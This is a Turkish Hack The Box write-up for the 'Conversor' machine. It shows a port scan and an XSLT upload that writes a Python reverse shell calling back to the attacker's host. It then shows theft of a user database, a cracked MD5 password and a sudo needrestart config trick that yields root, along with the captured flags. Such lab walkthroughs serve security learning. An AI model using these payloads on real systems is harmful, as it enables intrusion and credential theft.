

HTB CONVERTOR

Merhaba bugün Hack The Box da Conversor adlı makineyi çözeceğiz.

Makineyi bağlandıktan sonra hemen bir port taraması yapmak istiyorum ve nmap açıyorum.

```
/var
(root@kali) - [/home/mehmet/Masaüstü]
# nmap -p- -T4 10.129.19.235
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-07 18:06 +03
Stats: 0:00:40 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 6.74% done; ETC: 18:16 (0:09:00 remaining)

(root@kali) - [/home/mehmet/Masaüstü]
# nmap 10.129.19.235
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-07 18:09 +03
Nmap scan report for conversor.htb (10.129.19.235)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 16.02 seconds

(root@kali) - [/home/mehmet/Masaüstü]
```

Buradan açık portları görüyoruz. İlerde bir ssh bağlantısı yapilecek olduğumuzu biliyoruz şimdilik. Sonrasında siteye giriyoruz. Kayıt olup giriş yaptıktan sonra buradan XSLT ile ilgili upload işlemi yaparken Shell alacağımızı direk görebiliyoruz. Sonuç olarak bir xslt ve bir xml dosyası oluşturacağız xml dosyası test amaçlı olacak payload xslt dosyasında olacak. Github da xslt reverse Shell şeklinde aratarak zararlı payloadı bulabilirsiniz.

```
1  <?xml version="1.0" encoding="UTF-8"?>
2  <xsl:stylesheet
3      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4      xmlns:ptswarm="http://xslt.org/common"
5      extension-element-prefixes="ptswarm"
6      version="1.0">
7  <xsl:template match="/">
8      <ptswarm:document href="/var/www/conversor.htb/scripts/test2.py" method="text">
9  import os
10
11  os.system(
12      "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.XX.XX\",XXXX));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess"
13  )
14  </ptswarm:document>
15  </xsl:template>
16  </xsl:stylesheet>
```

```
(root@kali) - [ /home/mehmet/Masaüstü ]
# cat <<EOF > exploit_github.xslt
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:ptswarm="http://exslt.org/common"
  extension-element-prefixes="ptswarm">
  <xsl:template match="/">
    <ptswarm:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import socket, subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.15.40", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p=subprocess.call(["/bin/sh", "-i"])
</ptswarm:document>
</xsl:template>
</xsl:stylesheet>
EOF
```

Burda dosyamızı oluşturduk şimdi 4444 portlu dinleyici açıp yükleme yaptıktan sonra reverse Shell alıyoruz.

```
(root@kali) - [ /home/mehmet/Masaüstü ]
# nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.15.40] from (UNKNOWN) [10.129.19.235] 53140
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ ls
conversor.htb
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@conversor:~$ ls -la /var/www/conversor.htb/
ls -la /var/www/conversor.htb/
total 44
drwxr-xr-x 8 www-data www-data 4096 Aug 14 21:34 .
drwxr-xr-x 3 www-data www-data 4096 Aug 15 05:19 ..
-rwxr-xr-x 1 www-data www-data 4466 Aug 14 20:50 app.py
-rwxr-xr-x 1 www-data www-data 92 Jul 31 2025 app.wsgi
drwxr-xr-x 2 www-data www-data 4096 Feb 7 16:22 instance
drwxr-xr-x 2 www-data www-data 4096 Aug 14 21:34 __pycache__
drwxr-xr-x 2 www-data www-data 4096 Feb 7 16:20 scripts
drwxr-xr-x 3 www-data www-data 4096 Oct 16 13:48 static
drwxr-xr-x 2 www-data www-data 4096 Aug 15 23:48 templates
```

Ls atınca instance dizinini görüyoruz bu dizin içinde db gibi verilerin olabileceğini biliyorum ve instance oluyorum ondan sonra yine ls atıyorum . Burda ise users.db yi yakalıyoruz.

```
password TEXT
))
indexsqlite_autoindex_users_1users
Mabcd81dc9bdb52d04dc20036dbd8313ed055.
!Mfismathack5b5c3ac3a1c897c94caad48e6c71fdec
abcd
! fismathack
users
_67afac0c-499f-4b6e-ad7b-9077a33f6132
67afac0c-499f-4b6e-ad7b-9077a33f6132.html
_1363be8b-c6c8-4227-92cc-1367b434fb14
1363be8b-c6c8-4227-92cc-1367b434fb14.htmlR
_c3f1ec9b-1b2c-49d2-96a6-33aff7028391
c3f1ec9b-1b2c-49d2-96a6-33aff7028391.htmlR
_f06dc183-e13f-4f4c-8389-7e414d7fe573
f06dc183-e13f-4f4c-8389-7e414d7fe573.htmlR
_0facc6c2-7625-4240-9dd0-d1085335224c
0facc6c2-7625-4240-9dd0-d1085335224c.htmlR
_00508ffa-82dd-4c42-9867-7dd4a6b16605
00508ffa-82dd-4c42-9867-7dd4a6b16605.htmlR
89af2dd2-48b2-41b5-a2ba-e2c7a20b2a8b
```

Users.db yi açınca böyle bir ekranla karşılaşıyorum kullanıcı adı fismathack şifrenin ise md5 olduğu çok belli oradan da hemen çeviriciden şifreyi çözdürtüyoruz.

Sonra fismathack oluyoruz ve user.txt yi görüp çekiyoruz.

```
a10bcb29-b9c0-4b3d-99aa-c4f0e8afd4e2
U      8374be69-0931-4445-8f58-5589d27ec7d7
www-data@conversor:~$ su fismathack
su fismathack
Password: Keepmesafeandwarm

fismathack@conversor:/var/www$ ls
ls
ls: cannot open directory '.': Permission denied
fismathack@conversor:/var/www$ cd
cd
fismathack@conversor:~$ ls
ls
user.txt
fismathack@conversor:~$ cat user.txt
cat user.txt
a0e1b9147c3301b324cea1b76cfe6048
fismathack@conversor:~$ ^C
```

Şimdi root.txt yi bulucaz önce aynı kullanıcı adı ve şifreyle bir ssh bağlantısı alıyorum. Sonra sudo -l komutu ile needrestart kullanmamız gerektiğini görüyorum.

```
directory) [-l timeout] [-u user] file ...
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
```

Yani needrestart ile root.txt yi alabilirim.

Sonrasında doğru payloadlar ile root olup flagi çekiyorum.

```
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Feb 7 16:50:45 2026 from 10.10.15.40
fismathack@conversor:~$ echo '$nrconf{restart} = "i"; exec "/bin/bash";' > /tmp/root_exploit.conf
fismathack@conversor:~$ sudo /usr/sbin/needrestart -c /tmp/root_exploit.conf
root@conversor:/home/fismathack# cd
root@conversor:~# ls
root.txt  scripts
root@conversor:~# cat root.txt
140622fd3b40d27e2cd507ffb68f1a91
root@conversor:~#
```